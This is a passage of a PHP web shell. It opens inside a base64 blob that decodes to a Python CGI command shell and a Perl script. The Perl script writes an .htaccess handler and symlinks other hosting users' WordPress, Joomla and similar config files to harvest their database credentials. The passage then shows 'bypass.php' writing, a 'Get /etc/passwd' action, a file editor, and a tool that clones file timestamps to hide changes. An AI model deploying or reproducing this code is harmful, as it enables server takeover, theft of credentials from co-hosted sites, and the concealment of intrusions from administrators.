VVTVlJNUlQ0OEwwaEZRVVErQ2p4Q1QwUlpQanhEUlU1VVJWSSsKQ2p4SU1UNVhaV3hqYjIxbElIUnZJR05uYVMxemFHVnNiQzV3ZVNBdElEeENVajVoSUZCNWRHaHZiaUJEUjBrOEwwZ3hQZ284UWo0OApTVDVDZVNCR2RYcDZlVzFoYmp3dlFqNDhMMGsrUEVKU1Bnb2lJaUlyWm05dWRHeHBibVVnS3lKV1pYSnphVzl1SURvZ0lpQXJJSFpsCmNuTnBiMjV6ZEhKcGJtY2dLeUFpSWlJc0lGSjFibTVwYm1jZ2IyNGdPaUFpSWlJZ0t5QnpkSEptZEdsdFpTZ25KVWs2SlUwZ0pYQXMKSUNWQklDVmtJQ1ZDTENBbFdTY3BLeWN1UEM5RFJVNVVSVkkrUEVKU1BpY0tDblJvWldadmNtMGdQU0FpSWlJOFNESStSVzUwWlhJZwpRMjl0YldGdVpEd3ZTREkrQ2p4R1QxSk5JRTFGVkVoUFJEMWNJaUlpSWlBcklFMUZWRWhQUkNBcklDY2lJR0ZqZEdsdmJqMGlKeUFyCklITmpjbWx3ZEc1aGJXVWdLeUFpSWlKY0lqNEtQR2x1Y0hWMElHNWhiV1U5WTIxa0lIUjVjR1U5ZEdWNGRENDhRbEkrQ2p4cGJuQjEKZENCMGVYQmxQWE4xWW0xcGRDQjJZV3gxWlQwaVUzVmliV2wwSWo0OFFsSStDand2Ums5U1RUNDhRbEkrUEVKU1BpSWlJZ3BpYjJSNQpaVzVrSUQwZ0p6d3ZRazlFV1Q0OEwwaFVUVXcrSndwbGNuSnZjbTFsYzNNZ1BTQW5QRU5GVGxSRlVqNDhTREkrVTI5dFpYUm9hVzVuCklGZGxiblFnVjNKdmJtYzhMMGd5UGp4Q1VqNDhVRkpGUGljS0NpTWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWoKSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1LSXlCdFlXbHVJR0p2WkhrZ2IyWWdkR2hsSUhOagpjbWx3ZEFvS2FXWWdYMTl1WVcxbFgxOGdQVDBnSjE5ZmJXRnBibDlmSnpvS0lDQWdJSEJ5YVc1MElDSkRiMjUwWlc1MExYUjVjR1U2CklIUmxlSFF2YUhSdGJDSWdJQ0FnSUNBZ0lDQWpJSFJvYVhNZ2FYTWdkR2hsSUdobFlXUmxjaUIwYnlCMGFHVWdjMlZ5ZG1WeUNpQWcKSUNCd2NtbHVkQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJeUJ6YnlCcGN5QjBhR2x6SUdKcwpZVzVySUd4cGJtVUtJQ0FnSUdadmNtMGdQU0JqWjJrdVJtbGxiR1JUZEc5eVlXZGxLQ2tLSUNBZ0lHUmhkR0VnUFNCblpYUm1iM0p0CktGc25ZMjFrSjEwc1ptOXliU2tLSUNBZ0lIUm9aV050WkNBOUlHUmhkR0ZiSjJOdFpDZGRDaUFnSUNCd2NtbHVkQ0IwYUdWbWIzSnQKYUdWaFpBb2dJQ0FnY0hKcGJuUWdkR2hsWm05eWJRb2dJQ0FnYVdZZ2RHaGxZMjFrT2dvZ0lDQWdJQ0FnSUhCeWFXNTBJQ2M4U0ZJKwpQRUpTUGp4Q1VqNG5DaUFnSUNBZ0lDQWdjSEpwYm5RZ0p6eENQa052YlcxaGJtUWdPaUFuTENCMGFHVmpiV1FzSUNjOFFsSStQRUpTClBpY0tJQ0FnSUNBZ0lDQndjbWx1ZENBblVtVnpkV3gwSURvZ1BFSlNQanhDVWo0bkNpQWdJQ0FnSUNBZ2RISjVPZ29nSUNBZ0lDQWcKSUNBZ0lDQmphR2xzWkY5emRHUnBiaXdnWTJocGJHUmZjM1JrYjNWMElEMGdiM011Y0c5d1pXNHlLSFJvWldOdFpDa0tJQ0FnSUNBZwpJQ0FnSUNBZ1kyaHBiR1JmYzNSa2FXNHVZMnh2YzJVb0tRb2dJQ0FnSUNBZ0lDQWdJQ0J5WlhOMWJIUWdQU0JqYUdsc1pGOXpkR1J2CmRYUXVjbVZoWkNncENpQWdJQ0FnSUNBZ0lDQWdJR05vYVd4a1gzTjBaRzkxZEM1amJHOXpaU2dwQ2lBZ0lDQWdJQ0FnSUNBZ0lIQnkKYVc1MElISmxjM1ZzZEM1eVpYQnNZV05sS0NkY2JpY3NJQ2M4UWxJK0p5a0tDaUFnSUNBZ0lDQWdaWGhqWlhCMElFVjRZMlZ3ZEdsdgpiaXdnWlRvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJeUJoYmlCbGNuSnZjaUJwYmlCbGVHVmpkWFJwYm1jZ2RHaGxJR052CmJXMWhibVFLSUNBZ0lDQWdJQ0FnSUNBZ2NISnBiblFnWlhKeWIzSnRaWE56Q2lBZ0lDQWdJQ0FnSUNBZ0lHWWdQU0JUZEhKcGJtZEoKVHlncENpQWdJQ0FnSUNBZ0lDQWdJSEJ5YVc1MFgyVjRZeWhtYVd4bFBXWXBDaUFnSUNBZ0lDQWdJQ0FnSUdFZ1BTQm1MbWRsZEhaaApiSFZsS0NrdWMzQnNhWFJzYVc1bGN5Z3BDaUFnSUNBZ0lDQWdJQ0FnSUdadmNpQnNhVzVsSUdsdUlHRTZDaUFnSUNBZ0lDQWdJQ0FnCklDQWdJQ0J3Y21sdWRDQnNhVzVsQ2dvZ0lDQWdjSEpwYm5RZ1ltOWtlV1Z1WkFvS0NpSWlJZ3BVVDBSUEwwbFRVMVZGVXdvS0NncEQKU0VGT1IwVk1UMGNLQ2pBM0xUQTNMVEEwSUNBZ0lDQWdJQ0JXWlhKemFXOXVJREV1TUM0d0NrRWdkbVZ5ZVNCaVlYTnBZeUJ6ZVhOMApaVzBnWm05eUlHVjRaV04xZEdsdVp5QnphR1ZzYkNCamIyMXRZVzVrY3k0S1NTQnRZWGtnWlhod1lXNWtJR2wwSUdsdWRHOGdZU0J3CmNtOXdaWElnSjJWdWRtbHliMjV0Wlc1MEp5QjNhWFJvSUhObGMzTnBiMjRnY0dWeWMybHpkR1Z1WTJVdUxpNEtJaUlpJzsKCiRmaWxlID0gZm9wZW4oInB5dGhvbi5pem8iICwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkcHl0aG9ucCkpOwpmY2xvc2UoJGZpbGUpOwogICAgY2htb2QoInB5dGhvbi5pem8iLDA3NTUpOwogICBlY2hvICI8aWZyYW1lIHNyYz1weXRob24vcHl0aG9uLml6byB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7Cn0KaWYgKGlzc2V0KCRfUE9TVFsnU3VibWl0MTEnXSkpCnsKICAgIG1rZGlyKCdhbGxjb25maWcnLCAwNzU1KTsKICAgIGNoZGlyKCdhbGxjb25maWcnKTsKICAgICAgICAka29rZG9zeWEgPSAiLmh0YWNjZXNzIjsKICAgICAgICAkZG9zeWFfYWRpID0gIiRrb2tkb3N5YSI7CiAgICAgICAgJGRvc3lhID0gZm9wZW4gKCRkb3N5YV9hZGkgLCAndycpIG9yIGRpZSAoIkRvc3lhIGHDp8SxbGFtYWTEsSEiKTsKICAgICAgICAkbWV0aW4gPSAiQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5pem8iOyAgICAKICAgICAgICBmd3JpdGUgKCAkZG9zeWEgLCAkbWV0aW4gKSA7CiAgICAgICAgZmNsb3NlICgkZG9zeWEpOwokY29uZmlnc2hlbGwgPSAnSXlFdmRYTnlMMkpwYmk5d1pYSnNJQzFKTDNWemNpOXNiMk5oYkM5aVlXNWtiV2x1Q25CeWFXNTBJQ0pEYjI1MFpXNTBMWFI1Y0dVNklIUmxlSFF2YUhSdGJGeHVYRzRpT3dwd2NtbHVkQ2M4SVVSUFExUlpVRVVnYUhSdGJDQlFWVUpNU1VNZ0lpMHZMMWN6UXk4dlJGUkVJRmhJVkUxTUlERXVNQ0JVY21GdWMybDBhVzl1WVd3dkwwVk9JaUFpYUhSMGNEb3ZMM2QzZHk1M015NXZjbWN2VkZJdmVHaDBiV3d4TDBSVVJDOTRhSFJ0YkRFdGRISmhibk5wZEdsdmJtRnNMbVIwWkNJK0NqeG9kRzFzSUhodGJHNXpQU0pvZEhSd09pOHZkM2QzTG5jekxtOXlaeTh4T1RrNUwzaG9kRzFzSWo0S1BHaGxZV1ErQ2p4dFpYUmhJR2gwZEhBdFpYRjFhWFk5SWtOdmJuUmxiblF0VEdGdVozVmhaMlVpSUdOdmJuUmxiblE5SW1WdUxYVnpJaUF2UGdvOGJXVjBZU0JvZEhSd0xXVnhkV2wyUFNKRGIyNTBaVzUwTFZSNWNHVWlJR052Ym5SbGJuUTlJblJsZUhRdmFIUnRiRHNnWTJoaGNuTmxkRDExZEdZdE9DSWdMejRLUEhScGRHeGxQbHQrWFNCTGVXMU1hbTVyTFNCYmZsMGdQQzkwYVhSc1pUNEtQSE4wZVd4bElIUjVjR1U5SW5SbGVIUXZZM056SWo0S0xtNWxkMU4wZVd4bE1TQjdDaUJtYjI1MExXWmhiV2xzZVRvZ1ZHRm9iMjFoT3dvZ1ptOXVkQzF6YVhwbE9pQjRMWE50WVd4c093b2dabTl1ZEMxM1pXbG5hSFE2SUdKdmJHUTdDaUJqYjJ4dmNqb2dJekF3UmtaR1Jqc0tJQ0IwWlhoMExXRnNhV2R1T2lCalpXNTBaWEk3Q24wS1BDOXpkSGxzWlQ0S1BDOW9aV0ZrUGdvbk93cHpkV0lnYkdsc2V3b2dJQ0FnS0NSMWMyVnlLU0E5SUVCZk93b2tiWE55SUQwZ2NYaDdjSGRrZlRzS0pHdHZiR0U5SkcxemNpNGlMeUl1SkhWelpYSTdDaVJyYjJ4aFBYNXpMMXh1THk5bk95QUtjM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMmx1WTJ4MVpHVnpMMk52Ym1acFozVnlaUzV3YUhBbkxDUnJiMnhoTGljdGMyaHZjQzUwZUhRbktUc0tjM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMkZ0WlcxaVpYSXZZMjl1Wm1sbkxtbHVZeTV3YUhBbkxDUnJiMnhoTGljdFlXMWxiV0psY2k1MGVIUW5LVHNLYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJOdmJtWnBaeTVwYm1NdWNHaHdKeXdrYTI5c1lTNG5MV0Z0WlcxaVpYSXlMblI0ZENjcE93cHplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZiV1Z0WW1WeWN5OWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MXRaVzFpWlhKekxuUjRkQ2NwT3dwemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dlkyOXVabWxuTG5Cb2NDY3NKR3R2YkdFdUp6SXVkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOW1iM0oxYlM5cGJtTnNkV1JsY3k5amIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bkxXWnZjblZ0TG5SNGRDY3BPd3B6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2WVdSdGFXNHZZMjl1Wmk1d2FIQW5MQ1JyYjJ4aExpYzFMblI0ZENjcE93cHplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZV1J0YVc0dlkyOXVabWxuTG5Cb2NDY3NKR3R2YkdFdUp6UXVkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOTNjQzFqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuTFhkd01UTXVkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOWliRzluTDNkd0xXTnZibVpwWnk1d2FIQW5MQ1JyYjJ4aExpY3RkM0F0WW14dlp5NTBlSFFuS1RzS2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wyTnZibVpmWjJ4dlltRnNMbkJvY0Njc0pHdHZiR0V1SnpZdWRIaDBKeWs3Q25ONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5cGJtTnNkV1JsTDJSaUxuQm9jQ2NzSkd0dmJHRXVKemN1ZEhoMEp5azdDbk41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlqYjI1dVpXTjBMbkJvY0Njc0pHdHZiR0V1SnpndWRIaDBKeWs3Q25ONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5dGExOWpiMjVtTG5Cb2NDY3NKR3R2YkdFdUp6a3VkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXBibU5zZFdSbEwyTnZibVpwWnk1d2FIQW5MQ1JyYjJ4aExpY3hNaTUwZUhRbktUc0tjM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMnB2YjIxc1lTOWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MXFiMjl0YkdFdWRIaDBKeWs3Q25ONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5MllpOXBibU5zZFdSbGN5OWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5MWFppTG5SNGRDY3BPd3B6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YVc1amJIVmtaWE12WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkxcGJtTnNkV1JsY3kxMllpNTBlSFFuS1RzS2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wzZG9iUzlqYjI1bWFXZDFjbUYwYVc5dUxuQm9jQ2NzSkd0dmJHRXVKeTEzYUcweE5TNTBlSFFuS1RzS2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wzZG9iV012WTI5dVptbG5kWEpoZEdsdmJpNXdhSEFuTENScmIyeGhMaWN0ZDJodFl6RTJMblI0ZENjcE93cHplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZkMmh0WTNNdlkyOXVabWxuZFhKaGRHbHZiaTV3YUhBbkxDUnJiMnhoTGljdGQyaHRZM011ZEhoMEp5azdDbk41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzl6ZFhCd2IzSjBMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MWE4xY0hCdmNuUXVkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp6RjNhRzFqY3k1MGVIUW5LVHNLYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDNOMVltMXBkSFJwWTJ0bGRDNXdhSEFuTENScmIyeGhMaWN0ZDJodFkzTXlMblI0ZENjcE93cHplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZMnhwWlc1MGN5OWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MWpiR2xsYm5SekxuUjRkQ2NwT3dwemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dlkyeHBaVzUwTDJOdmJtWnBaM1Z5WVhScGIyNHVjR2h3Snl3a2EyOXNZUzRuTFdOc2FXVnVkQzUwZUhRbktUc0tjM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMk5zYVdWdWRHVnpMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MV05zYVdWdWRITXVkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOWlhV3hzYVc1bkwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bkxXSnBiR3hwYm1jdWRIaDBKeWs3SUFwemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dmJXRnVZV2RsTDJOdmJtWnBaM1Z5WVhScGIyNHVjR2h3Snl3a2EyOXNZUzRuTFdKcGJHeHBibWN1ZEhoMEp5azdJQXB6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YlhrdlkyOXVabWxuZFhKaGRHbHZiaTV3YUhBbkxDUnJiMnhoTGljdFltbHNiR2x1Wnk1MGVIUW5LVHNnQ25ONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5dGVYTm9iM0F2WTI5dVptbG5kWEpoZEdsdmJpNXdhSEFuTENScmIyeGhMaWN0WW1sc2JHbHVaeTUwZUhRbktUc2dDbjBLYVdZZ0tDUkZUbFo3SjFKRlVWVkZVMVJmVFVWVVNFOUVKMzBnWlhFZ0oxQlBVMVFuS1NCN0NpQWdjbVZoWkNoVFZFUkpUaXdnSkdKMVptWmxjaXdnSkVWT1Zuc25RMDlPVkVWT1ZGOU1SVTVIVkVnbmZTazdDbjBnWld4elpTQjdDaUFnSkdKMVptWmxjaUE5SUNSRlRsWjdKMUZWUlZKWlgxTlVVa2xPUnlkOU93cDlDa0J3WVdseWN5QTlJSE53YkdsMEtDOG1MeXdnSkdKMVptWmxjaWs3Q21admNtVmhZMmdnSkhCaGFYSWdLRUJ3WVdseWN5a2dld29nSUNna2JtRnRaU3dnSkhaaGJIVmxLU0E5SUhOd2JHbDBLQzg5THl3Z0pIQmhhWElwT3dvZ0lDUnVZVzFsSUQxK0lIUnlMeXN2SUM4N0NpQWdKRzVoYldVZ1BYNGdjeThsS0Z0aExXWkJMVVl3TFRsZFcyRXRaa0V0UmpBdE9WMHBMM0JoWTJzb0lrTWlMQ0JvWlhnb0pERXBLUzlsWnpzS0lDQWtkbUZzZFdVZ1BYNGdkSEl2S3k4Z0x6c0tJQ0FrZG1Gc2RXVWdQWDRnY3k4bEtGdGhMV1pCTFVZd0xUbGRXMkV0WmtFdFJqQXRPVjBwTDNCaFkyc29Ja01pTENCb1pYZ29KREVwS1M5bFp6c0tJQ0FrUms5U1RYc2tibUZ0WlgwZ1BTQWtkbUZzZFdVN0NuMEthV1lnS0NSR1QxSk5lM0JoYzNOOUlHVnhJQ0lpS1hzS2NISnBiblFnSndvOFltOWtlU0JqYkdGemN6MGlibVYzVTNSNWJHVXhJaUJpWjJOdmJHOXlQU0lqTURBd01EQXdJajRLUEhBK1UzbHRiR3B1YXlCaGJHd2dZMjl1Wm1sblBDOXdQZ284Y0Q0S1BHWnZiblFnWTI5c2IzSTlJaU5ETUVNd1F6QWlQbU5oZENBdlpYUmpMM0JoYzNOM1pEd3ZabTl1ZEQ0OEwzQStDanhtYjNKdElHMWxkR2h2WkQwaWNHOXpkQ0krQ2p4MFpYaDBZWEpsWVNCdVlXMWxQU0p3WVhOeklpQnpkSGxzWlQwaVltOXlaR1Z5T2pGd2VDQmtiM1IwWldRZ0l6QXdSa1pHUmpzZ2QybGtkR2c2SURVME0zQjRPeUJvWldsbmFIUTZJRFF5TUhCNE95QmlZV05yWjNKdmRXNWtMV052Ykc5eU9pTXdRekJETUVNN0lHWnZiblF0Wm1GdGFXeDVPbFJoYUc5dFlUc2dabTl1ZEMxemFYcGxPamh3ZERzZ1kyOXNiM0k2SXpBd1JrWkdSaUlnSUQ0OEwzUmxlSFJoY21WaFBqeGljaUF2UGdvbWJtSnpjRHM4Y0Q0S1BHbHVjSFYwSUc1aGJXVTlJblJoY2lJZ2RIbHdaVDBpZEdWNGRDSWdjM1I1YkdVOUltSnZjbVJsY2pveGNIZ2daRzkwZEdWa0lDTXdNRVpHUmtZN0lIZHBaSFJvT2lBeU1USndlRHNnWW1GamEyZHliM1Z1WkMxamIyeHZjam9qTUVNd1F6QkRPeUJtYjI1MExXWmhiV2xzZVRwVVlXaHZiV0U3SUdadmJuUXRjMmw2WlRvNGNIUTdJR052Ykc5eU9pTXdNRVpHUmtZN0lDSWdJQzgrUEdKeUlDOCtDaVp1WW5Od096d3ZjRDRLUEhBK0NqeHBibkIxZENCdVlXMWxQU0pUZFdKdGFYUXhJaUIwZVhCbFBTSnpkV0p0YVhRaUlIWmhiSFZsUFNKSFpYUWdRMjl1Wm1sbklpQnpkSGxzWlQwaVltOXlaR1Z5T2pGd2VDQmtiM1IwWldRZ0l6QXdSa1pHUmpzZ2QybGtkR2c2SURrNU95Qm1iMjUwTFdaaGJXbHNlVHBVWVdodmJXRTdJR1p2Ym5RdGMybDZaVG94TUhCME95QmpiMnh2Y2pvak1EQkdSa1pHT3lCMFpYaDBMWFJ5WVc1elptOXliVHAxY0hCbGNtTmhjMlU3SUdobGFXZG9kRG95TXpzZ1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvak1FTXdRekJESWlBdlBqd3ZjRDRLUEM5bWIzSnRQaWM3Q24xbGJITmxld3BBYkdsdVpYTWdQVHdrUms5U1RYdHdZWE56ZlQ0N0NpUjVJRDBnUUd4cGJtVnpPd3B2Y0dWdUlDaE5XVVpKVEVVc0lDSStkR0Z5TG5SdGNDSXBPd3B3Y21sdWRDQk5XVVpKVEVVZ0luUmhjaUF0WTNwbUlDSXVKRVpQVWsxN2RHRnlmUzRpTG5SaGNpQWlPd3BtYjNJZ0tDUnJZVDB3T3lScllUd2tlVHNrYTJFckt5bDdDbmRvYVd4bEtFQnNhVzVsYzFza2EyRmRJQ0E5ZmlCdEx5Z3VLajhwT25nNkwyY3Bld29tYkdsc0tDUXhLVHNLY0hKcGJuUWdUVmxHU1V4RklDUXhMaUl1ZEhoMElDSTdDbVp2Y2lna2EyUTlNVHNrYTJROE1UZzdKR3RrS3lzcGV3cHdjbWx1ZENCTldVWkpURVVnSkRFdUpHdGtMaUl1ZEhoMElDSTdDbjBLZlFvZ2ZRcHdjbWx1ZENjOFltOWtlU0JqYkdGemN6MGlibVYzVTNSNWJHVXhJaUJpWjJOdmJHOXlQU0lqTURBd01EQXdJajRLUEhBK1JHOXVaU0FoSVR3dmNENEtQSEErSm01aWMzQTdQQzl3UGljN0NtbG1LQ1JHVDFKTmUzUmhjbjBnYm1VZ0lpSXBld3B2Y0dWdUtFbE9SazhzSUNKMFlYSXVkRzF3SWlrN0NrQnNhVzVsY3lBOVBFbE9SazgrSURzS1kyeHZjMlVvU1U1R1R5azdDbk41YzNSbGJTaEFiR2x1WlhNcE93cHdjbWx1ZENjOGNENDhZU0JvY21WbVBTSW5MaVJHVDFKTmUzUmhjbjB1Snk1MFlYSWlQanhtYjI1MElHTnZiRzl5UFNJak1EQkdSakF3SWo0S1BITndZVzRnYzNSNWJHVTlJblJsZUhRdFpHVmpiM0poZEdsdmJqb2dibTl1WlNJK1EyeHBZMnNnU0dWeVpTQlVieUJFYjNkdWJHOWhaQ0JVWVhJZ1JtbHNaVHd2YzNCaGJqNDhMMlp2Ym5RK1BDOWhQand2Y0Q0bk93cDlDbjBLSUhCeWFXNTBJZ284TDJKdlpIaytDand2YUhSdGJENGlPdz09JzsKCiRmaWxlID0gZm9wZW4oImNvbmZpZy5pem8iICwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkY29uZmlnc2hlbGwpKTsKZmNsb3NlKCRmaWxlKTsKICAgIGNobW9kKCJjb25maWcuaXpvIiwwNzU1KTsKICAgZWNobyAiPGlmcmFtZSBzcmM9YWxsY29uZmlnL2NvbmZpZy5pem8gd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOwp9Cj8+CiAgPHRyPgogICAgPHRkPjx0YWJsZSB3aWR0aD0nMTAwJScgaGVpZ2h0PScxNzMnPgogICAgICA8dHI+CiAgICAgICAgPHRoIGNsYXNzPSd0ZCcgc3R5bGU9J2JvcmRlci1ib3R0b20td2lkdGg6dGhpbjtib3JkZXItdG9wLXdpZHRoOnRoaW4nPjxkaXYgYWxpZ249J3JpZ2h0Jz48c3BhbiBjbGFzcz0nc3R5bGUxJz5Ub29scyA6PC9zcGFuPjwvZGl2PjwvdGg+CiAgICAgICAgPHRkIGNsYXNzPSd0ZCcgc3R5bGU9J2JvcmRlci1ib3R0b20td2lkdGg6dGhpbjtib3JkZXItdG9wLXdpZHRoOnRoaW4nPjxmb3JtIG5hbWU9J0YxJyBtZXRob2Q9J3Bvc3QnPgogICAgICAgICAgICA8ZGl2IGFsaWduPSdsZWZ0Jz4KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQxMCcgIHZhbHVlPSdCeSBQYXNzIFN5bS5UYXInPgogICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDExJyB2YWx1ZT0nYWxsIGNvbmZpZyc+CgkJCSAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0MTInIHZhbHVlPSdzeW1sam5rIHVzZXInPgoJCQkgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDEzJyB2YWx1ZT0nQ2dpIHRlbG5ldCc+CgkJCSAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0MTQnIHZhbHVlPSdQeXRob24nPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Zvcm0+PC90ZD4KICAgICAgPC90cj4KICAgPHRyPgogICAKPC9ib2R5Pgo8L2h0bWw+'; $file = fopen("bypass.php" ,"w+"); $write = fwrite ($file ,base64_decode($perltoolss)); fclose($file); echo " "; }//end bypass // Brute elseif ($action == 'etcpwd') { formhead(array('title'=>'Get /etc/passwd')); makehide('action','etcpwd'); makehide('dir',$nowpath); $i = 0; echo "


"; formfoot(); } //end command //end change pas elseif ($action == 'editfile') { if(file_exists($opfile)) { $fp=@fopen($opfile,'r'); $contents=@fread($fp, filesize($opfile)); @fclose($fp); $contents=htmlspecialchars($contents); } formhead(array('title'=>'Create / Edit File')); makehide('action','file'); makehide('dir',$nowpath); makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1)); maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents)); formfooter(); }//end editfile elseif ($action == 'newtime') { $opfilemtime = @filemtime($opfile); //$time = strtotime("$year-$month-$day $hour:$minute:$second"); $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12); formhead(array('title'=>'Clone file was last modified time')); makehide('action','file'); makehide('dir',$nowpath); makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1)); formfooter(); formhead(array('title'=>'Set last modified')); makehide('action','file'); makehide('dir',$nowpath); makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); p('

Instead »'); p('year:'); makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4)); p('month:'); makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2)); p('day:'); makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2)); p('hour:'); makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2)); p('minute:'); makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2)); p('second:'); makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2)); p('

